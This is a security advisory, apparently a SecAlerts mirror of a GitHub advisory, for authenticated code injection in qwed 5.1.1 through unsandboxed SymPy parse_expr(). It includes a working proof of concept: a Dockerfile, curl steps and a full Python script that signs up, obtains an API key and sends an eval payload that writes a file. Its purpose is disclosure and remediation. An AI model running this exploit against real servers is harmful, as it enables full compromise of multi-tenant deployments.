GHSA-q27q-98j4-9pfv: Code Injection

Published Aug 25, 2026
·
Updated

Summary

The qwed package (version 5.1.1) passes attacker-controlled input directly to SymPy's parseexpr() function without a restricted namespace. Because parseexpr() internally calls Python's eval(), any authenticated tenant can execute arbitrary Python code inside the API server process. The attack requires only a standard user account, which is freely obtainable through the default-enabled /auth/signup endpoint. Successful exploitation gives the attacker full read/write access to the filesystem and the ability to execute operating system commands, resulting in complete server compromise.

Details

The vulnerability exists in two independently reachable code paths:

Primary sink — POST /verify/math

src/qwednew/api/main.py:442 defines the /verify/math route, protected only by getcurrenttenant (line 444), which accepts any valid tenant API key. The request body field expression is read at line 463 and passed through a cosmetic regex normalization at line 495 (re.sub(r'(\d)(\()', r'\1\2', expression)) that performs no security validation. The normalized string is then passed directly to parseexpr() at line 504:

python src/qwednew/api/main.py expression = request.get("expression") ... expressionnormalized = re.sub(r'(\d)(\()', r'\1\2', expression) ... parsed = parseexpr(expressionnormalized) # line 504 — unsandboxed eval

Secondary sink — POST /verify/batch

src/qwednew/api/main.py:1481 defines the /verify/batch route. Batch items flow through batchservice.createjob() (line 1517) into batch.py:132 where item.query is stored verbatim, then processed by verifyitem() (line 167). When the item type is VerificationType.MATH (line 222), the expression is passed to parseexpr() at line 239 with no sanitization:

python src/qwednew/core/batch.py expression = item.query ... parsed = parseexpr(expression) # line 239 — unsandboxed eval

parseexpr() accepts a globaldict and localdict parameter that, when set to {"builtins": {}} and an allowlist respectively, restrict what names are accessible during evaluation. Neither call site sets these parameters, leaving the full Python built-in namespace available to the attacker.

PoC

Environment setup (Docker)

bash Build from repository root (one level above vuln-001/) docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .

Run the server (binds to localhost:8765) docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001

The Dockerfile installs qwed from the local repository source with all dependencies and starts the server with the following environment:

- QWEDJWTSECRETKEY=test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789 - APIKEYSECRET=test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789 - QWEDCORSORIGINS=http://localhost - QWEDSKIPENVINTEGRITYCHECK=true - DATABASEURL=sqlite:////tmp/qwed-poc.db

Automated exploit (poc.py)

bash python3 vuln-001/poc.py --host 127.0.0.1 --port 8765

The script performs three steps:

1. Register an account — POST /auth/signup with arbitrary email/password/organization (no invite code or admin approval required). 2. Obtain an API key — POST /auth/api-keys using the JWT returned from signup. 3. Send the RCE payload — POST /verify/math with the x-api-key header and the expression:

import('pathlib').Path('/tmp/qwedparseexprrce').writetext('pwnedbyparseexprrce')

Expected output

[+] Server is ready. [+] Account created; JWT bearer token obtained. [+] API key (first 20 chars): qwedliveWwNm86Fpnh... [] expression = import('pathlib').Path('/tmp/qwedparseexprrce').writetext('pwnedbyparseexprrce') [] HTTP status : 200 [] HTTP response: {"isvalid": true, "value": 23.0, "simplified": "23", "original": "23"} [PASS] HTTP 200 returned — payload evaluated without error.

The server returns HTTP 200 and {"value": 23.0} — the return value of writetext() (23 bytes written), cast by SymPy to Integer(23). This proves the Python expression was executed inside the server process.

Decisive verification

bash docker exec qwed-vuln-001 cat /tmp/qwedparseexprrce Expected: pwnedbyparseexprrce

The same technique applies to POST /verify/batch by submitting a batch job with a math item whose query field contains the payload; a separate marker file /tmp/qwedbatchparseexprrce was also confirmed during dynamic testing.

Manual curl reproduction (no Python script)

bash Step 1: sign up and capture JWT TOKEN=$(curl -sS -X POST http://127.0.0.1:8765/auth/signup \ -H 'Content-Type: application/json' \ -d '{"email":"poc@example.com","password":"Password123!","organizationname":"poc-org"}' \ | python3 -c 'import sys,json; print(json.load(sys.stdin)["accesstoken"])')

Step 2: create API key APIKEY=$(curl -sS -X POST http://127.0.0.1:8765/auth/api-keys \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $TOKEN" \ -d '{"name":"poc"}' \ | python3 -c 'import sys,json; print(json.load(sys.stdin)["key"])')

Step 3: send payload rm -f /tmp/qwedparseexprrce curl -sS -X POST http://127.0.0.1:8765/verify/math \ -H 'Content-Type: application/json' \ -H "x-api-key: $APIKEY" \ -d '{"expression":"import('"'"'pathlib'"'"').Path('"'"'/tmp/qwedparseexprrce'"'"').writetext('"'"'owned'"'"')"}'

Step 4: confirm file was written by the server process cat /tmp/qwedparseexprrce Expected: owned

Impact

This is an Authenticated Remote Code Execution vulnerability. Any user who can create a tenant account (which is possible by default, since /auth/signup requires no invitation or administrator approval) can execute arbitrary Python code inside the API server process with the privileges of the server's operating system user.

Concrete impact includes:

- Confidentiality — read any file accessible to the server process (environment variables, secret keys, database contents, source code). - Integrity — write or overwrite any file accessible to the server process, modify database records, plant backdoors. - Availability — terminate the server process, exhaust resources, corrupt persistent storage.

In a shared multi-tenant deployment, a single tenant can compromise the entire server, affecting all other tenants' data. In a containerized deployment, the immediate impact is container-level compromise; lateral movement depends on the container's network and volume configuration.

Reproduction artifacts

Dockerfile

dockerfile VULN-001 Reproduction Environment Authenticated RCE via Unsafe SymPy parseexpr() in QWED 5.1.1 Build from the repo root (one level above vuln-001/): docker build -t qwed-vuln-001 -f vuln-001/Dockerfile . Run: docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001

FROM python:3.12-slim-bookworm

ENV PYTHONDONTWRITEBYTECODE=1 \ PYTHONUNBUFFERED=1

WORKDIR /app

Install minimal build dependencies required by some native extensions RUN apt-get update \ && apt-get install -y --no-install-recommends gcc g++ \ && apt-get clean \ && rm -rf /var/lib/apt/lists/

Copy the repository source COPY repo/ /app/repo/

Install hatchling build backend, then install the package with all dependencies z3-solver==4.13.3.0 is pinned in pyproject.toml; wheels are available for CPython 3.12 RUN pip install --no-cache-dir --upgrade pip hatchling \ && pip install --no-cache-dir -e /app/repo

Runtime environment variables — minimal set required to start the server ENV QWEDJWTSECRETKEY="test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789" \ APIKEYSECRET="test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789" \ QWEDCORSORIGINS="http://localhost" \ QWEDSKIPENVINTEGRITYCHECK="true" \ DATABASEURL="sqlite:////tmp/qwed-poc.db"

EXPOSE 8765

CMD ["python3", "-m", "uvicorn", "qwednew.api.main:app", \ "--host", "0.0.0.0", "--port", "8765", "--log-level", "warning"]

poc.py

python #!/usr/bin/env python3 """ Proof of Concept: Authenticated RCE via Unsafe SymPy parseexpr() — VULN-001

Affected product : QWED 5.1.1 (QWED-AI/qwed-verification) Endpoint : POST /verify/math CWE : CWE-94 — Improper Control of Code Generation CVSS : 8.8 (High) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Root cause: src/qwednew/api/main.py:504 passes attacker-controlled input directly to sympy.parsing.sympyparser.parseexpr() without a restricted global/local namespace. parseexpr() internally calls eval(), so any valid Python expression — including import() calls — is executed server-side.

Exploit chain: 1. Register an account via POST /auth/signup (open to any user by default) 2. Obtain an API key via POST /auth/api-keys 3. POST /verify/math with expression=<python code> The code runs inside the server process.

Observable evidence: - HTTP 200 response (not 4xx/5xx) proves the payload was evaluated - A marker file is written inside the container; verify with: docker exec <container> cat /tmp/qwedparseexprrce Expected content: "pwnedbyparseexprrce"

Usage: python3 poc.py [--host 127.0.0.1] [--port 8765] """

import argparse import json import sys import time

import requests

Path written inside the server process by the RCE payload RCEMARKERPATH = "/tmp/qwedparseexprrce" Content written to the marker file (must not contain quotes) RCEMARKERCONTENT = "pwnedbyparseexprrce"

def waitforserver(baseurl: str, timeout: int = 90) -> bool: """Poll the server health endpoint until it responds or timeout expires.""" print(f"[] Waiting for server at {baseurl} (up to {timeout}s)...") deadline = time.time() + timeout while time.time() < deadline: try: r = requests.get(f"{baseurl}/health", timeout=2) if r.statuscode < 500: return True except requests.exceptions.ConnectionError: pass time.sleep(2) return False

def signup(baseurl: str) -> str: """ Create an attacker-controlled account and return the JWT bearer token. /auth/signup is enabled by default and requires no prior authorization. """ payload = { "email": "poc-attacker@example.com", "password": "Attacker1234!", "organizationname": "vuln001-attacker-org", } r = requests.post(f"{baseurl}/auth/signup", json=payload, timeout=15) if r.statuscode == 400 and "already registered" in r.text: # Account exists from a previous run; sign in instead signinpayload = { "email": payload["email"], "password": payload["password"], } r = requests.post(f"{baseurl}/auth/signin", json=signinpayload, timeout=15) r.raiseforstatus() token = r.json()["accesstoken"] return token

def createapikey(baseurl: str, bearertoken: str) -> str: """ Create an API key for the attacker account. Returns the plaintext key (shown only once by the API). """ headers = {"Authorization": f"Bearer {bearertoken}"} r = requests.post( f"{baseurl}/auth/api-keys", json={"name": "vuln001-poc"}, headers=headers, timeout=15, ) r.raiseforstatus() return r.json()["key"]

def exploit(baseurl: str, apikey: str) -> dict: """ Send the RCE payload to POST /verify/math.

The expression uses pathlib.Path.writetext() which: - Writes RCEMARKERCONTENT to RCEMARKERPATH inside the server process - Returns an integer (bytes written) that parseexpr() can handle without raising an exception, making the side-effect transparent to the caller

The absence of an error and a 200 status code proves code execution. """ expression = ( f"import('pathlib')" f".Path('{RCEMARKERPATH}')" f".writetext('{RCEMARKERCONTENT}')" ) headers = { "Content-Type": "application/json", "x-api-key": apikey, } r = requests.post( f"{baseurl}/verify/math", json={"expression": expression}, headers=headers, timeout=20, ) contenttype = r.headers.get("content-type", "") body = r.json() if "application/json" in contenttype else r.text return {"statuscode": r.statuscode, "body": body}

def main() -> None: parser = argparse.ArgumentParser( description="PoC for VULN-001: Authenticated RCE via SymPy parseexpr() in QWED 5.1.1" ) parser.addargument("--host", default="127.0.0.1", help="API server host") parser.addargument("--port", type=int, default=8765, help="API server port") args = parser.parseargs()

baseurl = f"http://{args.host}:{args.port}"

# ── Step 0: wait for server ────────────────────────────────────────────── if not waitforserver(baseurl): print("[FAIL] Server did not become ready within the timeout.") sys.exit(1) print("[+] Server is ready.\n")

# ── Step 1: sign up ────────────────────────────────────────────────────── print("[] Step 1/3: Creating attacker account via POST /auth/signup") bearertoken = signup(baseurl) print("[+] Account created; JWT bearer token obtained.\n")

# ── Step 2: API key ────────────────────────────────────────────────────── print("[] Step 2/3: Obtaining API key via POST /auth/api-keys") apikey = createapikey(baseurl, bearertoken) print(f"[+] API key (first 20 chars): {apikey[:20]}...\n")

# ── Step 3: exploit ────────────────────────────────────────────────────── rceexpression = ( f"import('pathlib')" f".Path('{RCEMARKERPATH}')" f".writetext('{RCEMARKERCONTENT}')" ) print("[] Step 3/3: Sending RCE payload to POST /verify/math") print(f" expression = {rceexpression}\n")

result = exploit(baseurl, apikey)

print(f"[] HTTP status : {result['statuscode']}") print(f"[] HTTP response:\n{json.dumps(result['body'], indent=2)}\n")

if result["statuscode"] == 200: print("=" 60) print("[PASS] HTTP 200 returned — payload evaluated without error.") print(f" The server wrote '{RCEMARKERCONTENT}' to {RCEMARKERPATH}") print() print(" Verify decisive evidence inside the container:") print(f" docker exec qwed-vuln-001 cat {RCEMARKERPATH}") print("=" 60) sys.exit(0) else: print(f"[FAIL] Unexpected HTTP {result['statuscode']} — exploit did not succeed.") sys.exit(2)

if name == "main": main()

Affected Software

1 affected componentFixes available
pip/qwed<5.1.2
5.1.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/qwed to a version that resolves this vulnerability.

    Fixed in 5.1.2

Event History

Aug 25, 2026
Advisory Published
via GitHub·04:25 PM
Data Sourced
via GitHub·04:25 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Does disabling public signup remove the risk?

No. Public signup makes obtaining an account easy, but exploitation only requires any valid tenant API key. Deployments with existing tenant accounts remain exposed.

2

Can the expression normalization on the affected route be relied on as a safeguard?

No. The documented regex only performs cosmetic normalization and does not restrict the expression namespace or prevent code execution through SymPy parsing.

3

What access does a successful attacker gain?

Code executes inside the API server process. The attacker can read and write files accessible to that process and execute operating-system commands, potentially compromising the server completely.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203